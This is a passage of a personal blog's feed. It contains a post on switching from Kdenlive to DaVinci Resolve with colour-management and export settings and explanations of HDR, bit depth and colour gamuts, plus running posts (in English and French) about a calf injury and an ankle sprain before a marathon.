&lt;p&gt;More than a month after my first marathon ever, I thought this deserved an update. I'll keep it short: the marathon went amazingly well, no pain at all during the race, or very mild, but barely noticeable. I still felt it in the following days, a little stronger. After the race, I stopped running for 3 weeks (to be exact, I actually ran once a week, slowly and short distances). That was enough for my calf to heal completely. I haven't felt anything now for 2+ weeks. 🎉 Since the end of November, I am gradually increasing the distances again, and slowly getting back to 3 or 4 easy jogs a week. So happy!!!&lt;/p&gt;</content><category term="Running"></category><category term="running"></category><category term="injury"></category></entry><entry><title>Farewell Kdenlive, Hello DaVinci Resolve. And colors explained.</title><link href="https://romainpellerin.eu/farewell-kdenlive-hello-davinci-resolve-and-colors-explained.html" rel="alternate"></link><published>2024-09-18T20:00:00+02:00</published><updated>2025-08-14T14:20:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2024-09-18:/farewell-kdenlive-hello-davinci-resolve-and-colors-explained.html</id><summary type="html">&lt;p&gt;I'm switching from Kdenlive to DaVinci Resolve, here's why and a few tips&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;UPDATE JUNE 2025: this article is partially obsolete. See &lt;a href="https://romainpellerin.eu/my-ultimate-video-editing-tutorial.html"&gt;My Ultimate Video Edition Tutorial&lt;/a&gt; for a more recent one.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I've been &lt;a href="https://romainpellerin.eu/video-editing-on-linux.html"&gt;a long time fan of Kdenlive&lt;/a&gt;, but now has come a time for change. Kdenlive is great but it's got limitations. Transitions are pretty basic, for example. Also, 10-Bit and/or HDR is not (fully) supported. Overall, the program is not as polished as a professional-grade one. That's why I decided to change and find a better video editing application. And I've settled for DaVinci Resolve, the free version (more than enough for my needs).&lt;/p&gt;
&lt;p&gt;Before starting any new project, make sure that all cameras have similar settings: resolution, framerate, and more importantly, HDR or not! (pick Rec.2020 for HDR, and Rec.709 for SDR). &lt;a href="https://www.reddit.com/r/VideoEditing/comments/jqqixz/hdr_and_sdr_mixed_into_same_project/"&gt;You cannot easily mix SDR and HDR footage in the same project.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Up until now, I've not been able to properly "downgrade" a HDR footage into a SDR project in DaVinci Resolve. But I've been sort of successful with the opposite (importing SDR footage into a HDR project and using the "Color Space Transform" effect, from Rec.709 to Rec.2100 HLG). The output colors are different but close enough.&lt;/p&gt;
&lt;p&gt;Below you'll find my settings.&lt;/p&gt;
&lt;h1 id="general-settings"&gt;General settings&lt;/h1&gt;
&lt;p&gt;When working with non mixed footage, that is only HDR or only SDR, I would recommend turning on &lt;a href="https://youtu.be/RBctM2c4GQI?t=369"&gt;the option &lt;code&gt;Use Mac Display Color Profile for viewers&lt;/code&gt;&lt;/a&gt; in the settings of DaVinci.&lt;/p&gt;
&lt;h1 id="project-settings"&gt;Project settings&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Resolution: 3840 x 2160 (4K)&lt;/li&gt;
&lt;li&gt;FPS: 30 (or 29.97, depending on the camera)&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;In &lt;code&gt;Color Management&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Color science&lt;/code&gt;: &lt;a href="https://youtu.be/CTAzjAReZvs?t=638"&gt;&lt;code&gt;DaVinci YRGB Color Managed&lt;/code&gt;&lt;/a&gt;. I'm not sure what the difference is with non color managed, but I think I understood that when it's not color managed, &lt;a href="https://youtu.be/CTAzjAReZvs?t=182"&gt;DaVinci assumes nothing and does not perform automatic conversation from RAW footage to timeline color space&lt;/a&gt;. But for my use cases, Color Managed is perfect and just works.&lt;/li&gt;
&lt;li&gt;Untick &lt;code&gt;Automatic color management&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Color processing mode&lt;/code&gt;: &lt;code&gt;HDR DaVinci Wide Gamut Intermediate&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Output color space&lt;/code&gt;: &lt;code&gt;Rec.2100 HLG&lt;/code&gt; (just like the videos shot natively with my Google Pixel)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When dealing with non-HDR footage, everything should be Rec.709. &lt;a href="https://youtu.be/_nhlHD4wiDU?t=256"&gt;Gamma should be 2.4, even for web deliverables&lt;/a&gt;. &lt;a href="https://youtu.be/1QlnhlO6Gu8?t=1388"&gt;Don't bother with Rec.709-A (Mac specific).&lt;/a&gt; For the color processing mode, keep "DaVinci Wide Gamut Intermediate".&lt;/p&gt;
&lt;p&gt;A general rule of thumb is "2.2 is aimed to people looking at the screen on a bright lighted room, 2.4 is for dim light room, 2.6 for pitch dark room like movie theater". (&lt;a href="https://www.reddit.com/r/colorists/comments/176b1fb/comment/k4l1imm/"&gt;&lt;em&gt;source&lt;/em&gt;&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;More on color management and gamma:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=8geDbNpH5cI"&gt;PRO Explains where you may be going wrong in just 10 minutes!&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.cined.com/quicktime-gamma-shift-bug-what-is-it-and-how-to-combat-it/"&gt;Quicktime Gamma Shift Bug – What Is It and How to Combat It&lt;/a&gt;: by default, what you see in DaVinci won't be what you see in QuickTime. Use VLC. Or change some settings, but read the article first to know which ones.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=1QlnhlO6Gu8"&gt;Quicktime Color Management: why so many ISSUES?!&lt;/a&gt;: another video on the Quicktime Gamma bug&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/colorists/comments/1c8c25i/can_someone_explain_what_rec_709_as_a_gamma_tag/"&gt;Can someone explain what Rec 709 as a gamma tag means?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="export-settings"&gt;Export settings&lt;/h1&gt;
&lt;p&gt;2024 is also the year I'll be switching my default filming resolution from 1080p to 4k, since apparently &lt;a href="https://www.reddit.com/r/videography/comments/xxprwo/best_settings_to_upload_to_youtube_vmaf_analysis/"&gt;Youtube deteriorates less the quality with 4k videos&lt;/a&gt; (the conclusion of the thread is that the best export settings are H265, 4k, 60mbit for 24-30fps or 120mbit for 60fps).&lt;/p&gt;
&lt;p&gt;In DaVinci Resolve, when selecting MP4 as the format, and H.265 as the code, you get two options below:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Use hardware acceleration if available&lt;/code&gt;: that goes without saying, tick it&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Network Optimization&lt;/code&gt;: &lt;a href="https://forum.blackmagicdesign.com/viewtopic.php?f=21&amp;amp;t=190400"&gt;this is the equivalent of &lt;code&gt;-movflags +faststart&lt;/code&gt; for &lt;code&gt;ffmpeg&lt;/code&gt;&lt;/a&gt;. This does not change the quality of the file, nor its size, and makes playback over a network faster, so you might as well tick it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Then, export in 4K (3840 x 2160). If the project resolution is lower, the image will be upscaled, which will degrade the quality.&lt;/p&gt;
&lt;p&gt;Make sure the output FPS is the same as the project/timeline FPS, that is 30 or 29.97 FPS.&lt;/p&gt;
&lt;p&gt;To avoid getting too big of a file, I pick a custom bitrate of 25000 Kb/s for the file I will keep backed up. But for the file uploaded to Youtube, &lt;a href="https://youtu.be/oOGZ0PfDSxM?t=351"&gt;it is recommended to input a bigger number&lt;/a&gt;. See &lt;a href="https://support.google.com/youtube/answer/1722171#zippy=%2Cbitrate"&gt;Youtube's official recommendations&lt;/a&gt;. Usually, 50000 Kbps for a 4K video is good enough.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://forum.blackmagicdesign.com/viewtopic.php?p=1080855#p1080855"&gt;Do not tick "Optimize for speed".&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Encoding Profile&lt;/code&gt;: &lt;code&gt;Main10&lt;/code&gt; (no need to pick 4:2:2 as Google Pixel videos are in 4:2:0).&lt;/p&gt;
&lt;p&gt;Leave &lt;code&gt;Frame reordering&lt;/code&gt; ticked, as well as the rest of the settings.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Now let's study colors...&lt;/p&gt;
&lt;h1 id="some-acronyms-and-vocabulary"&gt;Some acronyms and vocabulary&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;CST&lt;/em&gt;: Color Space Transform&lt;/li&gt;
&lt;li&gt;&lt;em&gt;DWG&lt;/em&gt;: DaVinci Wide Gamut&lt;/li&gt;
&lt;li&gt;&lt;em&gt;RCM&lt;/em&gt;: Resolve Color Management. A system designed to provide consistent color accuracy across different devices and formats. &lt;a href="https://youtu.be/_EJ7lA0bSzo?t=248"&gt;This is a synonym for DaVinci Wide Gamut.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;ACES&lt;/em&gt;: Academy Color Encoding System (an alternative to DWG). &lt;a href="https://youtu.be/AAeZKZ5feGA?t=428"&gt;It is an industry standard color space, that works on multiple applications, unlike DWG that is DaVinci-exclusive.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Nit&lt;/em&gt;: a unit of luminance, officially name "Candela per square metre". In other words, a unit of measurement used to quantify the brightness of electronic displays. Other units that measure other aspects of light are Lumen and Lux.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;EOTF&lt;/em&gt;: Electro-optical Transfer&lt;/li&gt;
&lt;li&gt;&lt;em&gt;LUT&lt;/em&gt;: Look-Up Table&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Display-referred color grading/workflow&lt;/em&gt;: &lt;a href="https://youtu.be/CTAzjAReZvs?t=26"&gt;grading manually based on what you observe on screen, without any knowledge about the input color space&lt;/a&gt;. &lt;a href="https://youtu.be/_EJ7lA0bSzo?t=1180"&gt;The opposite is known as &lt;em&gt;scene-referred workflow&lt;/em&gt; (or &lt;em&gt;color managed workflow&lt;/em&gt;).&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="8-bit-vs-10-bit"&gt;8-bit vs 10-bit&lt;/h1&gt;
&lt;p&gt;&lt;img alt="Banding in a 8-bit image" src="https://www.everlearn.nl/wp-content/uploads/2016/11/color-banding.png?_gl=1*1802gmv*_up*MQ..*_ga*NjI1MjM4NDQ0LjE3MjY2NzU4MzI.*_ga_ZR0WD7KF8X*MTcyNjY3NTgzMS4xLjAuMTcyNjY3NTgzMS4wLjAuMA.."&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.reddit.com/r/4kTV/comments/tm3doe/hdr_vs_sdr_vs_10_bit_vs_8_bit/"&gt;Source&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;First of all, 10 bit HDR is not one thing, they are two things. That's why sometimes you see 10 bit SDR as well. One refers to the color range (8-bit vs 10 bit), and the other refers to the dynamic range (SDR vs HDR).&lt;/p&gt;
&lt;p&gt;8 bits or 10 bits? Most of our lives, we've been watching the world in 8-bit color. When you break down what 8-bit color is, it refers to the number of gradations in each of the primary colors. When you hear 8-bit, that means there are 256 discrete possible gradations. That is 256 levels of red, 256 levels of green, and 256 levels of blue, since red, green and blue are the basic colors of each pixel on your TV set. When your TV combines these three colors in all their 256 possible gradations you end up with 256 x 256 x 256 = 16,777,216 (16.7 million) colors! That should be sufficient for most video, right? Well, not when you're doing professional photography or filming.&lt;/p&gt;
&lt;p&gt;There are times when you might have seen an effect called banding on your TV set. These are areas where the gradients are not as smooth in transitioning between subtle color differences. Instead, they look like bands of similar looking colors. This may be apparent in some blue sky scenes when looking at the horizon, or when there is a slow fade to black transition between scenes. Of course, this depends on how your TV processes the colors, then type of input you use, the player you're using to decode the video, or how the content you're watching is encoded.&lt;/p&gt;
&lt;p&gt;So, here's where 10-bit color comes to the rescue. With 10 bit color, you get 1024 gradations for each of the primary colors, resulting in a whooping 1,073,741,824 colors. That's over 1 billion colors! That oughta get rid of those bands and give you smoother gradients.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;Some monitor or TV are "10-bit like" but not truly 10-bit, they are in fact &lt;a href="https://www.benq.com/en-us/knowledge-center/knowledge/10-bit-vs-8-bit-frc-monitor-color-difference.html"&gt;"8 bit + FRC"&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="sdr-vs-hdr"&gt;SDR vs HDR&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://www.reddit.com/r/4kTV/comments/tm3doe/hdr_vs_sdr_vs_10_bit_vs_8_bit/"&gt;Source&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;HDR or SDR? Most of our lives, we've been watching the world in SDR, or Standard Dynamic Range. Now, with newer TVs, we get this feature called HDR, or High Dynamic Range. This refers to how bright or how dark your pixels on your TV are capable of representing luminosity in the video. Instead of just adding artificial contrast to the image, HDR actually controls the individual luminosity for each pixel. This effect looks even nicer on OLED TVs which causes the image to look more realistic. Light bulbs in the background of a dark scene appear as if they are really there and the difference between dark and bright spots is less likely to be washed out.&lt;/p&gt;
&lt;p&gt;One of the limitations of older TV sets all this time, was the brightness bleeding effect of bright objects next to dark ones on the same scene. If your TV supports HDR, you can have a bright white object shining at maximum brightness, and it will not affect how a dark object in the next pixel looks like. HDR, therefore, preserves details in scenes where the contrast ratio of the monitor could otherwise be a hindrance.&lt;/p&gt;
&lt;p&gt;For those unfamiliar with photography, dynamic range is measured in stops, comparable to the aperture of a camera. Pictures on a typical SDR display would have a dynamic range of about 6 stops. HDR information, but on the other side, has the potential to almost triple this dynamic range, with a total of 17.6 stops.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;It is commonly admitted that "&lt;a href="https://www.reddit.com/r/linuxquestions/comments/143p9mz/comment/jndhhje/"&gt;HDR is a combination of three things&lt;/a&gt;" (although &lt;a href="https://www.reddit.com/r/4kTV/comments/tm3doe/comment/i1zjkln/"&gt;technically HDR has nothing to do with 8 or 10 bits&lt;/a&gt;):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;More than 8 (usually 10) bits per subpixel&lt;/li&gt;
&lt;li&gt;Displays with a higher than usual peak brightness and contrast ratio (usually oled, or an lcd with full array local dimming)&lt;/li&gt;
&lt;li&gt;All the required metadata to make proper use of the above&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;a href="https://www.reddit.com/r/gopro/comments/xe0wfx/comment/ioe0u1z/"&gt;Source&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;HDR refers to the dynamic range. How much the camera can capture from complete white to complete dark. It's also intertwined with the gamuts of the camera. You need a wider gamut and 10+ bit color depth to get a somewhat pleasing HDR effect to look good.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1 id="hdr10-vs-dolby-vision-vs-hdr10-vs-hlg"&gt;HDR10 vs Dolby Vision vs HDR10+ (vs HLG)&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://www.reddit.com/r/4kTV/comments/tm3doe/hdr_vs_sdr_vs_10_bit_vs_8_bit/"&gt;Source&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;There are two popular HDR standards, Dolby Vision and HDR10. Since HDR10 is open source, it has been much more widely adopted than Dolby Vision. Both HDR formats use metadata in the video stream to determine how bright pixels should light up in the display. With HDR10, a fixed metadata range is declared at the start of the stream, and it remains for the entire length of the video, whereas Dolby Vision is capable of dynamic metadata from one scene to the next. There is an upgrade to HDR10 called HDR10+ which adds dynamic metadata just like Dolby Vision. Overall, you can think of HDR as the ability of the video stream to adjust your contrast and brightness levels on your TV set for each pixel separately, as opposed to your brightness and contrast menus which affect the entire picture at once.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/HDR10"&gt;Competing formats to HDR10 are Dolby Vision and HDR10+ (which do provide dynamic metadata, allowing to preserve the creative intents on each display and on a scene by scene or frame by frame basis), and also HLG (which provides some degree of backward compatibility with SDR).&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/HDR10%2B"&gt;HDR10+ and Dolby Vision do not use the same dynamic metadata.&lt;/a&gt;&lt;/p&gt;
&lt;h1 id="transfer-functions-gamma-24-vs-hdr-pg-vs-hdr-hlg"&gt;Transfer functions: Gamma 2.4 vs HDR PG vs HDR HLG&lt;/h1&gt;
&lt;p&gt;PQ is for "Perceptual Quantize", the standard is known as ST.2084. HLG is for "Hybrid Log-Gamma".&lt;/p&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Rec._2100#Transfer_functions"&gt;Both were introduced with Rec2100&lt;/a&gt; (see next section). Prior to Rec2100, Rec709 and Rec2020 were using &lt;a href="https://en.wikipedia.org/wiki/ITU-R_BT.1886"&gt;Gamma 2.4 (known as ITU-R BT.1886)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;As written in the section above, HLG is opposed to HDR10, Dolby Vision and HDR10+.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://lightillusion.com/what_is_hdr.html"&gt;This page&lt;/a&gt; says:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;PQ HDR defines HDR10, HDR10+, and Dolby Vision, as all use the same target colour space - Rec2020 Gamut, with the same PQ EOTF. Consequently, calibration for all is basically identical. HLG based HDR is different.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The rest of the page is extremely detailed and full of information.&lt;/p&gt;
&lt;p&gt;Some things to remember:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PQ gives absolute values for light output&lt;/li&gt;
&lt;li&gt;HLG gives relative values&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;One of the often overlooked potential issues with PQ based HDR for home viewing is that because the standard is absolute there is no way to increase the display's light output to overcome surrounding room light levels - the peak brightness cannot be increased, and neither can the fixed gamma (EOTF) curve.&lt;/p&gt;
&lt;p&gt;As mentioned above, with PQ based HDR the Average Picture Level (APL) will approximately match that of regular SDR (standard dynamic range) imagery. The result is that in less than ideal viewing environments, where the surrounding room brightness level is relatively high, the bulk of the PQ HDR image will appear very dark, with shadow detail potentially becoming very difficult to see. This is still true with a diffuse white target of 200 nits, rather than the original 100 nits diffuse white.&lt;/p&gt;
&lt;p&gt;But, having said that, HLG based HDR has its own issues if the peak luma of the display is below approx. 1000 nits, as the average picture level of the HDR image will appear dimmer than the equivalent SDR image.&lt;/p&gt;
&lt;p&gt;HDR10 uses Static metadata, while Dolby Vision and HDR10+ use Dynamic.&lt;/p&gt;
&lt;p&gt;And non-PQ based HDR, such as HLG, has no need for metadata. One of the major differences in using a relative based HDR standard, rather than absolute.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I've read on other websites that Dolby Vision also works with HLG, not just PQ.&lt;/p&gt;
&lt;h1 id="rec709-vs-rec2020-vs-rec2100"&gt;Rec709 vs Rec2020 vs Rec2100&lt;/h1&gt;
&lt;p&gt;Those are color gamuts (a set of displayable colors).&lt;/p&gt;
&lt;p&gt;Rec709 is generally for SDR.&lt;/p&gt;
&lt;p&gt;Rec2020 and Rec2100 are commonly used for HDR. Rec2020 can also be used for SDR. They are both refered to as Wide Color Gamuts (WCG).&lt;/p&gt;
&lt;p&gt;Rec2020 (or Rec.2020) is an abbreviation for "&lt;em&gt;ITU-R Recommendation BT.2020&lt;/em&gt;".&lt;/p&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Rec._2100#System_colorimetry"&gt;Rec. 2100 uses the same color primaries as Rec. 2020 which is a Wide Color Gamut&lt;/a&gt; (meaning &lt;a href="https://en.wikipedia.org/wiki/Gamut#Wide_color_gamut"&gt;a color gamut wider than that of BT.709&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;&lt;a href="https://youtu.be/IXYKhZdGF6s?t=109"&gt;Rec709 is recommendations for HD. Rec2020 for UHD (Ultra HD). Rec2100 for HDR.&lt;/a&gt;&lt;/p&gt;
&lt;h1 id="422-vs-420"&gt;4:2:2 vs 4:2:0&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Chroma_subsampling"&gt;Chroma Subsampling, on Wikipedia.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.reddit.com/r/4kTV/comments/tm3doe/comment/i21n8df/"&gt;Short explanation on Reddit here.&lt;/a&gt;&lt;/p&gt;
&lt;h1 id="linux-support-for-10-bit-andor-hdr"&gt;Linux support for 10-bit and/or HDR&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://www.reddit.com/r/linux_gaming/comments/mk2q0j/buying_a_monitor_for_hdr10bit_pointless_on_linux/"&gt;As of 2024, HDR is not supported on Linux. 10-bit is partially supported but not enabled by default.&lt;/a&gt; &lt;a href="https://linuxreviews.org/HOWTO_enable_10-bit_color_on_Linux"&gt;Here is how to turn on 10-bit on Linux.&lt;/a&gt; Of course the GPU needs to support it.&lt;/p&gt;
&lt;p&gt;On Linux, playing a HDR video in VLC will show a washed-out video, &lt;a href="https://www.reddit.com/r/linuxquestions/comments/143p9mz/comment/jnbxar8/"&gt;but using MPV the colors will be "translated" into SDR and the video will look very nice&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="monitors-and-tv-support-for-hdr"&gt;Monitors and TV support for HDR&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://www.reddit.com/r/linux_gaming/comments/mk2q0j/comment/gte1gj1/"&gt;Unless a monitor is labeled HDR1000, it is not true HDR.&lt;/a&gt; &lt;a href="https://www.reddit.com/r/Monitors/comments/12cl67z/how_to_know_if_a_monitor_has_real_hdr/"&gt;This other Reddit thread more or less says the same.&lt;/a&gt;&lt;/p&gt;</content><category term="Video editing"></category><category term="kdenlive"></category><category term="davinci resolve"></category><category term="video"></category></entry><entry><title>10 kms et Entorse de la cheville</title><link href="https://romainpellerin.eu/10-kms-et-entorse-de-la-cheville.html" rel="alternate"></link><published>2024-09-17T19:00:00+02:00</published><updated>2025-02-12T11:51:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2024-09-17:/10-kms-et-entorse-de-la-cheville.html</id><summary type="html">&lt;p&gt;Allez encore une autre blessure... que j'aurais pu éviter bien sûr&lt;/p&gt;</summary><content type="html">&lt;p&gt;Et bien voilà, deuxième grosse blessure de 2024. Après &lt;a href="https://romainpellerin.eu/periostite-2024.html"&gt;une périostite tenace&lt;/a&gt;, qui aura duré de début avril à fin août (il y a quelques semaines donc!), me voilà avec une nouvelle blessure à la jambe droite (encore!) : entorse de la cheville.&lt;/p&gt;
&lt;p&gt;Dimanche il y a 9 jours, le 8 Septembre donc, je participais à une course de 10 kms, le Tierparklauf de Berlin. Première course de 10 kms pour moi. Je visais sub 40 minutes tout en sachant que c'était très ambitieux.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/entorse-de-la-cheville/race-predictor.jpg" alt="Prédictions de Garmin" /&gt;
&lt;figcaption&gt;Garmin était optimiste. Gauche : veille de course. Droite : quelques heures après la course.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Je me place dans le premier sas, à l'avant. Le départ est donné et très vite je trouve un bon rythme autour de 4 minutes du kilomètre. Un groupe part devant, bien plus rapide que moi, et je reste avec 2 ou 3 personnes. Je me colle derrière un gars pendant les 5 premiers kms, profitant d'un léger effet d'aspiration mais surtout de sa régularité. Petit à petit le groupe se disloque et je me retouve seul avec mon poisson pilote. Le gars craque au km 5 et ralentit, je passe devant et me retrouve vraiment seul cette fois, pour la fin de course. Mentalement, ça devient difficile, et je finis par craquer aussi petit à petit, après m'être fait dépasser une ou deux fois, avec un pace au km 9 à 4'25"/km. Je finirai ma course 19ème/887 participants (18ème ex-aequo pour être exact), et 2ème sur 53 dans ma catégorie d'âge (M30), avec un temps officiel de 41 minutes et 33 secondes, ce qui équivaut à un pace de 4'09"/km. Niveau fréquence cardiaque, j'explose tous mes records avec une moyenne à 191 et un max à 202, mesuré à la ceinture cardiaque donc fiable.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/entorse-de-la-cheville/strava.png" alt="Un screenshot de Strava" /&gt;
&lt;figcaption&gt;Ma course sur Strava&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Détail important : 2 jours auparavant, le vendredi soir, je courrais 22kms à l'entrainement, à allure marathon + endurance fondamentale. Ça aura sûrement un peu impacté ma performance mais surtout ça aura sûrement fatigué ma cheville exagérement, laissant peu de temps pour la récupération.&lt;/p&gt;
&lt;p&gt;Le reste du dimanche, j'ai enchainé sur 5 kms de marche, à explorer un zoo, et 57 kms de vélo. Too much.&lt;/p&gt;
&lt;p&gt;Le lendemain, lundi 9 donc, n'écoutant personne et surtout pas mes propres conseils, je décide de m'en tenir à mon plan d'entrainement pour le marathon, et sors faire une sortie de 12 kms, comportant 6 kms à allure marathon.&lt;/p&gt;
&lt;p&gt;Et enfin le mardi 10, je reçevais des nouvelles chaussures de course, les Asics METASPEED SKY PARIS. Bien sûr, je me devais de les essayer sur le champ. Mais je reste raisonnable et ne fais que 2.5kms.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/entorse-de-la-cheville/asics-metaspeed-sky-paris.jpg" alt="Photos de mes nouvelles chaussures" /&gt;
&lt;figcaption&gt;Mes nouvelles Asics&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;À partir de là, je remarque une bonne douleur dans la cheville droite. Il me &lt;strong&gt;semble&lt;/strong&gt; me souvenir de m'être à moitié tordu la cheville pendant la course de 10kms en marchant sur une craquelure dans le bitume, surelevée, mais je n'en suis pas sûr. Pendant la course, étant chaud, je n'ai rien senti. Et l'entorse devait être légère. Je me souviens par contre avoir eu mal pendant ma courte sortie du mardi, pendant laquelle j'essayais les nouvelles chaussures. Et quelle merveilleuse idée que d'essayer des nouvelles chaussure sur un pied déjà blessé...&lt;/p&gt;
&lt;p&gt;Bref, tout irait bien si je m'étais arrêté là.&lt;/p&gt;
&lt;p&gt;Le lendemain, mercredi 11, je décide de continuer à suivre mon plan : hop 9.5 kms. Et là clairement, j'ai eu mal toute la sortie, mais genre bien mal. En milieu de sortie, je remarque que si j'adopte une foulée avant-pied, la douleur est bien moins forte, du coup je continue jusqu'au bout... 🤦‍♂️&lt;/p&gt;
&lt;p&gt;Les jours qui suivent, j'ai une légère gêne, mais rien d'handicapant, je marche normalement. Je décide d'être prudent le vendredi 13 et de sauter ma sortie prévue. En revanche, le dimanche 15, alors que je n'avais plus mal, BIM sortie longue de 25 kms. La douleur revient pendant la sortie progressivement et atteint 6 ou 7/10 en terme d'intensité, plusieurs fois pendant la sortie.&lt;/p&gt;
&lt;p&gt;De retour chez moi, la douleur ne me quitte pas, et quelques heures après être rentré, lorsque mon corps a bien refroidi, maxi douleur, 9/10. Il m'est alors très très difficile de marcher, presque impossible de poser le pied. Tellement mal que la douleur m'a reveillé dans la nuit du dimanche au lundi, et qu'il m'aura fallu 1000mg de paracétamol pour me rendormir... Quel con bordel.&lt;/p&gt;
&lt;p&gt;Lundi 16, je décide de couper mon entrainement complétement pour une moins une semaine, jusqu'à disparition totale de la douleur, et surtout disparition du gonflement qui est tout autour de ma cheville, gonflement qui était absent avant mon 25 km.&lt;/p&gt;
&lt;p&gt;Voili voilou. Encore une fois, mon obstination m'aura couté une blessure que j'aurais pu éviter, si seulement je n'avais pas fait ce 25 km dimanche. J'aurai aussi pu prendre le lundi 9 off pour laisser mon corps récupérer à 100% de ma course... bref, toujours les mêmes erreurs. Sauter une ou deux séances la semaine dernière aurait eu beaucoup moins de conséquences que la semaine off qui m'attend (une semaine si j'ai de la chance, je mise plutôt sur 2 voire 3), sachant que je suis à 6 semaines de mon premier marathon ever. Fuck.&lt;/p&gt;
&lt;p&gt;Je mettrai à jour cet article une fois que je serai rétabli. ✌&lt;/p&gt;
&lt;h1 id="update-jeudi-19-septembre"&gt;Update Jeudi 19 Septembre&lt;/h1&gt;
&lt;p&gt;Ça fait 4 jours depuis ma course de 25 kms. Depuis :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1000mg paracétamol pour les 2 premières nuits, rien les deux nuits suivantes&lt;/li&gt;
&lt;li&gt;Je marche mieux que dimanche, et à peine mieux que lundi. Mais mardi mercredi et jeudi, pas d'amélioration. Je boite énormément.&lt;/li&gt;
&lt;li&gt;Je soupçonne un arrachement osseux, si c'était une simple entorse je pense que la douleur aurait diminué. Enfin j'en sais rien... Quoiqu'un arrachement osseux c'est plus probable lors d'un choc ? Genre une mauvaise réception suite à un saut ? En course à pied je serais étonné. Bref.&lt;/li&gt;
&lt;li&gt;Je pense aussi avoir "plusieurs" types d'entorse, ou plutôt avoir plusieurs ligaments âbimés. Voire même les tendons du long et court fibulaire, car j'ai mal en appuyant sur ces 2 muscles avant la main. Bref j'ai bien mal dans tout le pied globalement, pas que d'un côté.&lt;/li&gt;
&lt;li&gt;Niveau gonflement, je l'ai remarqué lundi, pas vraiment fait attention dimanche. Aucune amélioration depuis lundi j'ai l'impression, toujours gonflé. J'ai glacé quelques fois, pas d'amélioration ni sur le gonflement ni sur la douleur.&lt;/li&gt;
